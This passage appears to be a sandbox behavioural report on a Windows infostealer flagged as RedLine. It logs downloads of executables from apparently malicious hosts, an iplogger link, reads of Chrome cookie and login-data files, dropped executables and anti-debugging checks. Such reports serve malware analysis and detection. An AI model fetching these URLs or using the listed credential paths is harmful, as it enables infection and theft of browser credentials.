[eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x5580f4b registers.esp: 1634376 registers.edi: 43121776 registers.eax: 0 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 42868468 registers.esi: 4202576 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x5580fe9 0x62d866 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 12 ff ff ff eb 11 e8 76 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x55811bc registers.esp: 1634380 registers.edi: 43125384 registers.eax: 0 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 43125256 registers.esi: 44220336 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x5580fe9 0x62d866 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 12 ff ff ff eb 11 e8 76 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x55811bc registers.esp: 1634380 registers.edi: 44520164 registers.eax: 0 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 44520052 registers.esi: 45615104 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x5580fe9 0x62d866 0x62d004 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 12 ff ff ff eb 11 e8 76 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x55811bc registers.esp: 1634380 registers.edi: 45914932 registers.eax: 0 registers.ebp: 1634436 registers.edx: 0 registers.ebx: 45914820 registers.esi: 47009872 registers.ecx: 0	1
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: 0x5581579 0x62d01c 0x6256d8 0x6211be 0x620e26 0x620076 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f a3 fe ff ff eb 0a e8 5d exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x5581a59 registers.esp: 1634548 registers.edi: 43178262 registers.eax: 0 registers.ebp: 1634600 registers.edx: 0 registers.ebx: 42965176 registers.esi: 4206350 registers.ecx: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (10 events)

suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://tokoi45.beget.tech/server.txt
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://tokoi45.beget.tech/server1.txt
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://tokoi45.beget.tech/server2.txt
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://formacioncontinua.com.mx/2/data64_1.exe
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://formacioncontinua.com.mx/2/data64_2.exe
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://formacioncontinua.com.mx/2/data64_3.exe
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://formacioncontinua.com.mx/2/data64_4.exe
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://formacioncontinua.com.mx/2/data64_5.exe
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://formacioncontinua.com.mx/2/data64_6.exe
suspicious_features	HTTP version 1.0 used	suspicious_request	GET http://formacioncontinua.com.mx/webArg2.txt

Performs some HTTP requests (13 events)

request	GET http://tokoi45.beget.tech/server.txt
request	GET http://tokoi45.beget.tech/server1.txt
request	GET http://tokoi45.beget.tech/server2.txt
request	GET http://formacioncontinua.com.mx/2/data64_1.exe
request	GET http://formacioncontinua.com.mx/2/data64_2.exe
request	GET http://formacioncontinua.com.mx/2/data64_3.exe
request	GET http://formacioncontinua.com.mx/2/data64_4.exe
request	GET http://formacioncontinua.com.mx/2/data64_5.exe
request	GET http://formacioncontinua.com.mx/2/data64_6.exe
request	GET http://formacioncontinua.com.mx/webArg2.txt
request	GET https://yandex.ru/
request	GET https://dzen.ru/?yredirect=true
request	GET https://sso.passport.yandex.ru/push?uuid=85d50709-205d-41dd-abfd-712b81bf467c&retpath=https%3A%2F%2Fdzen.ru%2F%3Fyredirect%3Dtrue

Allocates read-write-execute memory (usually to unpack itself) (50 out of 304 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00450000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00540000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00db0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00f40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00455000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00457000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00530000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:01 p.m.	process_identifier: 316 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00531000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00535000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00536000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04770000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 45056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04771000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0477c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0477d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00790000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73db4000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0477e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 20480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d41000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d46000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d47000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00420000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ee1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ee2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b40000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00465000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00467000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0040c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00416000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00417000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State

Creates executable files on the filesystem (4 events)

file	C:\Users\test22\AppData\Roaming\NVIDIA\dllhost.exe
file	C:\Users\test22\AppData\Local\Temp\MI0E02BFFGA0HD4.exe
file	C:\Users\test22\AppData\Local\Temp\CBAFH1460LH2BDF.exe
file	C:\Users\test22\AppData\Local\Temp\O4MC25ELG66M9J2.exe

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\MI0E02BFFGA0HD4.exe
file	C:\Users\test22\AppData\Local\Temp\CBAFH1460LH2BDF.exe

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\MI0E02BFFGA0HD4.exe
file	C:\Users\test22\AppData\Roaming\NVIDIA\dllhost.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW June 29, 2023, 5:02 p.m.	thread_identifier: 2736 thread_handle: 0x00000118 process_identifier: 2732 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\CBAFH1460LH2BDF.exe track: 1 command_line: https://iplogger.com/12waJ4 filepath_r: C:\Users\test22\AppData\Local\Temp\CBAFH1460LH2BDF.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000114	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses June 29, 2023, 5:02 p.m.	flags: 15 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000c3200', u'virtual_address': u'0x00002000', u'entropy': 7.892348023023419, u'name': u'.text', u'virtual_size': u'0x000c3124'}

entropy

7.89234802302

description

A section with a high entropy has been found

entropy

0.404613789528

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW June 29, 2023, 5:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 29, 2023, 5:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 29, 2023, 5:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 29, 2023, 5:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Expresses interest in specific running processes (1 event)

process

system

Yara rule detected in process memory (19 events)

description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communications use DNS	rule	Network_DNS
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	RedLine stealer	rule	RedLine_Stealer_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Queries for potentially installed applications (50 out of 51 events)

Time & API	Arguments	Status
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x00000360 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: 7-Zip base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1
